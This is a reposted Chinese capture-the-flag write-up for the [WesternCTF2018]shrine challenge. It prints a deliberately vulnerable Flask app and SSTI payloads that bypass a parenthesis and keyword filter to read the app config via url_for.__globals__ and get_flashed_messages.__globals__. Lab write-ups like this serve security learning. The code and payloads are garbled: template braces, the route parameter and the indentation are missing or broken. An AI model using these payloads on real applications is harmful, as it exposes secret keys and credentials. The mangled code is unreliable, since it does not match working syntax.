BUUCTF:[WesternCTF2018]shrine

Posted 末初mochu7

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF:[WesternCTF2018]shrine相关的知识,希望对你有一定的参考价值。

https://buuoj.cn/challenges#[WesternCTF2018]shrine


import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
	return open(__file__).read() 
	@app.route('/shrine/') 

def shrine(shrine): 
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '')
		blacklist = ['config', 'self'] 
	return ''.join(['% set =None%'.format(c) for c in blacklist]) + s 
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__': 
	app.run(debug=True) 

过滤了小括号()configself,且FLAG在环境变量中,这里的过滤只针对config管用
过滤了小括号基本上就没法使用各种类的方法了,而这里FLAG在环境变量中

可利用Flask内置的两个函数:

  • url_for()
  • get_flashed_messages()

/shrine/url_for.__globals__
/shrine/get_flashed_messages.__globals__



利用其中的current_app方法,可以直接查看到当前appconfig

/shrine/url_for.__globals__['current_app'].config
/shrine/get_flashed_messages.__globals__['current_app'].config

以上是关于BUUCTF:[WesternCTF2018]shrine的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF:[WesternCTF2018]shrine

[WesternCTF2018]shrine

BUU-WEB-[WesternCTF2018]shrine

[WesternCTF2018]shrine

[WesternCTF2018]shrine(SSTI+过滤)

WesternCTF2018_shrine